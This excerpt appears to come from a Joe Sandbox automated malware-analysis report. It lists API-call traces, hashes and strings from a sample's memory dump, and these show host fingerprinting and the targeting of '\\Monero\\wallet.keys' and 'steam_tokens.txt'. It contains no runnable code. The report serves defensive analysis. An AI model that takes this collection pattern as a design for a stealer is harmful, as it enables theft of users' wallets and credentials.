Part of subcall function 00707850: RtlAllocateHeap.NTDLL(00000000), ref: 00707887
Part of subcall function 00707850: GetUserNameA.ADVAPI32(00000104,00000104), ref: 0070789F

Part of subcall function 007078E0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00707910
Part of subcall function 007078E0: RtlAllocateHeap.NTDLL(00000000), ref: 00707917
Part of subcall function 007078E0: GetComputerNameA.KERNEL32(?,00000104), ref: 0070792F

Part of subcall function 00707980: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00710E00,00000000,?), ref: 007079B0
Part of subcall function 00707980: RtlAllocateHeap.NTDLL(00000000), ref: 007079B7
Part of subcall function 00707980: GetLocalTime.KERNEL32(?,?,?,?,?,00710E00,00000000,?), ref: 007079C4
Part of subcall function 00707980: wsprintfA.USER32 ref: 007079F3

Part of subcall function 00707A30: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00000000,00000000,?,0123E608,00000000,?,00710E10,00000000,?,00000000,00000000), ref: 00707A63
Part of subcall function 00707A30: RtlAllocateHeap.NTDLL(00000000), ref: 00707A6A
Part of subcall function 00707A30: GetTimeZoneInformation.KERNEL32(?,?,?,?,00000000,00000000,?,0123E608,00000000,?,00710E10,00000000,?,00000000,00000000,?), ref: 00707A7D

Part of subcall function 00707B00: GetUserDefaultLocaleName.KERNEL32(00000055,00000055,?,?,?,00000000,00000000,?,0123E608,00000000,?,00710E10,00000000,?,00000000,00000000), ref: 00707B35

Part of subcall function 00707B90: GetKeyboardLayoutList.USER32(00000000,00000000,007105AF), ref: 00707BE1
Part of subcall function 00707B90: LocalAlloc.KERNEL32(00000040,?), ref: 00707BF9
Part of subcall function 00707B90: GetKeyboardLayoutList.USER32(?,00000000), ref: 00707C0D
Part of subcall function 00707B90: GetLocaleInfoA.KERNEL32(?,00000002,?,00000200), ref: 00707C62
Part of subcall function 00707B90: LocalFree.KERNEL32(00000000), ref: 00707D22

Part of subcall function 00707D80: GetSystemPowerStatus.KERNEL32(?), ref: 00707DAD

GetCurrentProcessId.KERNEL32(00000000,?,0123D880,00000000,?,00710E24,00000000,?,00000000,00000000,?,0123E620,00000000,?,00710E20,00000000), ref: 0070207E

Part of subcall function 00709470: OpenProcess.KERNEL32(00000410,00000000,?), ref: 00709484
Part of subcall function 00709470: K32GetModuleFileNameExA.KERNEL32(00000000,00000000,?,00000104), ref: 007094A5
Part of subcall function 00709470: CloseHandle.KERNEL32(00000000), ref: 007094AF

Part of subcall function 00707E00: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00707E37
Part of subcall function 00707E00: RtlAllocateHeap.NTDLL(00000000), ref: 00707E3E
Part of subcall function 00707E00: RegOpenKeyExA.KERNEL32(80000002,0122BEF8,00000000,00020119,?), ref: 00707E5E
Part of subcall function 00707E00: RegQueryValueExA.KERNEL32(?,0123D800,00000000,00000000,000000FF,000000FF), ref: 00707E7F
Part of subcall function 00707E00: RegCloseKey.ADVAPI32(?), ref: 00707E92

Part of subcall function 00707F60: GetLogicalProcessorInformationEx.KERNELBASE(0000FFFF,00000000,00000000), ref: 00707FC9
Part of subcall function 00707F60: GetLastError.KERNEL32 ref: 00707FD8

Part of subcall function 00707ED0: GetSystemInfo.KERNEL32(00710E2C), ref: 00707F00
Part of subcall function 00707ED0: wsprintfA.USER32 ref: 00707F16

Part of subcall function 00708100: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00000000,00000000,?,0123E548,00000000,?,00710E2C,00000000,?,00000000), ref: 00708130
Part of subcall function 00708100: RtlAllocateHeap.NTDLL(00000000), ref: 00708137
Part of subcall function 00708100: GlobalMemoryStatusEx.KERNEL32(00000040,00000040,00000000), ref: 00708158
Part of subcall function 00708100: __aulldiv.LIBCMT ref: 00708172
Part of subcall function 00708100: __aulldiv.LIBCMT ref: 00708180
Part of subcall function 00708100: wsprintfA.USER32 ref: 007081AC

Part of subcall function 007087C0: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00710E28,00000000,?), ref: 0070882F
Part of subcall function 007087C0: RtlAllocateHeap.NTDLL(00000000), ref: 00708836
Part of subcall function 007087C0: wsprintfA.USER32 ref: 00708850

Part of subcall function 00708320: RegOpenKeyExA.KERNEL32(00000000,0123B5C8,00000000,00020019,00000000,007105B6), ref: 007083A4

Part of subcall function 00708320: RegEnumKeyExA.KERNEL32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 00708426
Part of subcall function 00708320: wsprintfA.USER32 ref: 00708459
Part of subcall function 00708320: RegOpenKeyExA.KERNEL32(00000000,?,00000000,00020019,00000000), ref: 0070847B
Part of subcall function 00708320: RegCloseKey.ADVAPI32(00000000), ref: 0070848C
Part of subcall function 00708320: RegCloseKey.ADVAPI32(00000000), ref: 00708499

Part of subcall function 00708680: CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,007105B7), ref: 007086CA
Part of subcall function 00708680: Process32First.KERNEL32(?,00000128), ref: 007086DE
Part of subcall function 00708680: Process32Next.KERNEL32(?,00000128), ref: 007086F3
Part of subcall function 00708680: CloseHandle.KERNEL32(?), ref: 00708761

lstrlen.KERNEL32(00000000,00000000,?,00000000,00000000,?,00000000,?,00000000,00000000,00000000), ref: 0070265B

Memory Dump Source

Source File: 00000000.00000002.1963816981.00000000006F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006F0000, based on PE: true

Associated: 00000000.00000002.1963799335.00000000006F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.000000000074A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.0000000000775000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.0000000000778000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.000000000077F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.0000000000782000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.000000000080B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.000000000080E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.0000000000895000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000008B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000008BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.000000000094E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000AD1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000BB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000BD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000BDF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000BEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964386132.0000000000BEF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964488608.0000000000D8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964503749.0000000000D90000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6f0000_file.jbxd

Yara matches

Similarity

API ID: Heap$Process$Allocate$Closewsprintf$NameOpenlstrcpy$InformationLocal$CurrentHandleInfoKeyboardLayoutListLocaleProcess32StatusSystemTimeUser__aulldivlstrcatlstrlen$AllocComputerCreateDefaultDirectoryEnumErrorFileFirstFreeGlobalLastLogicalMemoryModuleNextPowerProcessorQuerySnapshotToolhelp32ValueVolumeWindowsWow64Zone
String ID:
API String ID: 3113730047-0
Opcode ID: eb50999c2c75cf867022eea167fa2c0f760e564eab552bde25a050bdaf650dcb
Instruction ID: af9b225124588351392f1e0af94631ed232da5eaef2c76aef6bf7fc96bf6d62d
Opcode Fuzzy Hash: eb50999c2c75cf867022eea167fa2c0f760e564eab552bde25a050bdaf650dcb
Instruction Fuzzy Hash: 59723F71D20218FADB5AFB50DD95EDE73B8AF24300F5083A9B116620D1EF743B49CA65

Function 006F6D40 Relevance: 3.2, APIs: 2, Instructions: 157COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1963816981.00000000006F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006F0000, based on PE: true

Associated: 00000000.00000002.1963799335.00000000006F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.000000000074A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.0000000000775000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.0000000000778000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.000000000077F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.0000000000782000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.000000000080B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.000000000080E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.0000000000895000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000008B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000008BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.000000000094E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000AD1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000BB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000BD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000BDF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000BEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964386132.0000000000BEF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964488608.0000000000D8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964503749.0000000000D90000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6f0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a2e1a1b9d269b30c49f9de95db3a0da239e24a9d4e1851b58c8189c9f2296961
Instruction ID: ee08c0e41b4f093b9e75f1b1f2fb43d910dafa40114df6c10aaaccc61941db62
Opcode Fuzzy Hash: a2e1a1b9d269b30c49f9de95db3a0da239e24a9d4e1851b58c8189c9f2296961
Instruction Fuzzy Hash: 536124B590120CEBCB14DF98E984BEEB7B2BB04304F108598F519A7381D775AE94DF91

Function 00705100 Relevance: 3.0, APIs: 1, Strings: 1, Instructions: 40stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0070A740: lstrcpy.KERNEL32(00710E17,00000000), ref: 0070A788

Part of subcall function 0070A820: lstrlen.KERNEL32(006F4F05,?,?,006F4F05,00710DDE), ref: 0070A82B
Part of subcall function 0070A820: lstrcpy.KERNEL32(00710DDE,00000000), ref: 0070A885

lstrlen.KERNEL32(00000000,00000000,00710ACA), ref: 0070512A

Strings

steam_tokens.txt, xrefs: 0070513F

Memory Dump Source

Source File: 00000000.00000002.1963816981.00000000006F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006F0000, based on PE: true

Associated: 00000000.00000002.1963799335.00000000006F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.000000000074A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.0000000000775000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.0000000000778000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.000000000077F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.0000000000782000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.000000000080B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.000000000080E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.0000000000895000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000008B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000008BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.000000000094E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000AD1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000BB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000BD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000BDF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000BEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964386132.0000000000BEF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964488608.0000000000D8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964503749.0000000000D90000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6f0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpylstrlen
String ID: steam_tokens.txt
API String ID: 2001356338-401951677
Opcode ID: 96611be87a24792981d1a2c9062f06da995886947efb4963eb4d28e1929bef13
Instruction ID: c08db678c40ba88ebddea873acb6cd24556afa60766fa2ddd11b3f86afc4e73e
Opcode Fuzzy Hash: 96611be87a24792981d1a2c9062f06da995886947efb4963eb4d28e1929bef13
Instruction Fuzzy Hash: D1F0FBB1D10208F6CB04F7A4DC5B9ED737CAB54340F408268B557660D2EF296A09C7A6

Function 00707ED0 Relevance: 3.0, APIs: 2, Instructions: 34COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(00710E2C), ref: 00707F00
wsprintfA.USER32 ref: 00707F16

Memory Dump Source

Source File: 00000000.00000002.1963816981.00000000006F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006F0000, based on PE: true

Associated: 00000000.00000002.1963799335.00000000006F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.000000000074A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.0000000000775000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.0000000000778000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.000000000077F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.0000000000782000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.000000000080B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.000000000080E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.0000000000895000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000008B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000008BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.000000000094E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000AD1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000BB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000BD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000BDF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000BEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964386132.0000000000BEF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964488608.0000000000D8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964503749.0000000000D90000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6f0000_file.jbxd

Yara matches

Similarity

API ID: InfoSystemwsprintf
String ID:
API String ID: 2452939696-0
Opcode ID: d984639f1237da44fab70cc2d43705642d66ea216f56e3aff85362f3c43c7690
Instruction ID: 0a348539cb27316c70bbf9cdfc493ead25f9ed806b68e61ec42bc23cfcfb720c
Opcode Fuzzy Hash: d984639f1237da44fab70cc2d43705642d66ea216f56e3aff85362f3c43c7690
Instruction Fuzzy Hash: 09F062F1904618EBC714DF84DC45FAAB7BCFB44614F004669F51592280D7B969448BD1

Function 006FB4F0 Relevance: 2.9, APIs: 2, Instructions: 397stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0070A740: lstrcpy.KERNEL32(00710E17,00000000), ref: 0070A788

Part of subcall function 0070A9B0: lstrlen.KERNEL32(?,01238F68,?,\Monero\wallet.keys,00710E17), ref: 0070A9C5
Part of subcall function 0070A9B0: lstrcpy.KERNEL32(00000000), ref: 0070AA04
Part of subcall function 0070A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0070AA12

Part of subcall function 0070A920: lstrcpy.KERNEL32(00000000,?), ref: 0070A972
Part of subcall function 0070A920: lstrcat.KERNEL32(00000000), ref: 0070A982

Part of subcall function 0070A8A0: lstrcpy.KERNEL32(?,00710E17), ref: 0070A905

Part of subcall function 0070A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0070A7E6

lstrlen.KERNEL32(00000000), ref: 006FB9C2
lstrlen.KERNEL32(00000000), ref: 006FB9D6

Memory Dump Source

Source File: 00000000.00000002.1963816981.00000000006F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006F0000, based on PE: true

Associated: 00000000.00000002.1963799335.00000000006F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.000000000074A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.0000000000775000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.0000000000778000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.000000000077F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.0000000000782000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.000000000080B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.000000000080E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.0000000000895000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000008B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000008BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.000000000094E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000AD1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000BB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000BD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000BDF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000BEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964386132.0000000000BEF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964488608.0000000000D8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964503749.0000000000D90000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6f0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat
String ID:
API String ID: 2500673778-0
Opcode ID: 1bcc6f5e14e79df6de3efa0245987761ffe06dc4a5086df743f05ff48ee19f1a
Instruction ID: 8a82e1322f10b7564e8d489fb82cfaae05c2711059e2dd8de81ae4705eb0d798
Opcode Fuzzy Hash: 1bcc6f5e14e79df6de3efa0245987761ffe06dc4a5086df743f05ff48ee19f1a
Instruction Fuzzy Hash: B1E1FA71920218EBDB15FB60CD56EEE73B9BF54300F404269F506A60D1EF786A49CF62

Function 006FAEF0 Relevance: 2.7, APIs: 2, Instructions: 236stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0070A740: lstrcpy.KERNEL32(00710E17,00000000), ref: 0070A788

Part of subcall function 0070A9B0: lstrlen.KERNEL32(?,01238F68,?,\Monero\wallet.keys,00710E17), ref: 0070A9C5
Part of subcall function 0070A9B0: lstrcpy.KERNEL32(00000000), ref: 0070AA04
Part of subcall function 0070A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0070AA12

Part of subcall function 0070A920: lstrcpy.KERNEL32(00000000,?), ref: 0070A972
Part of subcall function 0070A920: lstrcat.KERNEL32(00000000), ref: 0070A982

Part of subcall function 0070A8A0: lstrcpy.KERNEL32(?,00710E17), ref: 0070A905

lstrlen.KERNEL32(00000000), ref: 006FB16A
lstrlen.KERNEL32(00000000), ref: 006FB17E

Part of subcall function 0070A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0070A7E6

Memory Dump Source

Source File: 00000000.00000002.1963816981.00000000006F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006F0000, based on PE: true

Associated: 00000000.00000002.1963799335.00000000006F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.000000000074A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.0000000000775000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.0000000000778000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.000000000077F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.0000000000782000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.000000000080B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.000000000080E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.0000000000895000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000008B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000008BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.000000000094E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000AD1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000BB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000BD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000BDF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000BEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964386132.0000000000BEF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964488608.0000000000D8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964503749.0000000000D90000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6f0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat
String ID:
API String ID: 2500673778-0
Opcode ID: 6695e37781e092250a5db6cd03aa09c9aa5390a4b1ec19100c3d744db6842564
Instruction ID: 92ea9630bc24168118ba5c749d3d416afe2311d0392bda7c397a4dd8b5d491d1
Opcode Fuzzy Hash: 6695e37781e092250a5db6cd03aa09c9aa5390a4b1ec19100c3d744db6842564
Instruction Fuzzy Hash: 23911C71920204E7DB05FBA4DD59EEE73B9AF54300F408269F507A61D1EF386A49CB62

Function 006FB230 Relevance: 2.7, APIs: 2, Instructions: 205stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0070A740: lstrcpy.KERNEL32(00710E17,00000000), ref: 0070A788

Part of subcall function 0070A9B0: lstrlen.KERNEL32(?,01238F68,?,\Monero\wallet.keys,00710E17), ref: 0070A9C5
Part of subcall function 0070A9B0: lstrcpy.KERNEL32(00000000), ref: 0070AA04
Part of subcall function 0070A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0070AA12

Part of subcall function 0070A920: lstrcpy.KERNEL32(00000000,?), ref: 0070A972
Part of subcall function 0070A920: lstrcat.KERNEL32(00000000), ref: 0070A982

Part of subcall function 0070A8A0: lstrcpy.KERNEL32(?,00710E17), ref: 0070A905

lstrlen.KERNEL32(00000000), ref: 006FB42E
lstrlen.KERNEL32(00000000), ref: 006FB442

Part of subcall function 0070A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0070A7E6

Memory Dump Source

Source File: 00000000.00000002.1963816981.00000000006F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006F0000, based on PE: true

Associated: 00000000.00000002.1963799335.00000000006F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.000000000074A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.0000000000775000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.0000000000778000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.000000000077F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.0000000000782000.00000040.00000001.01000000.00000003.sdmpDownload File
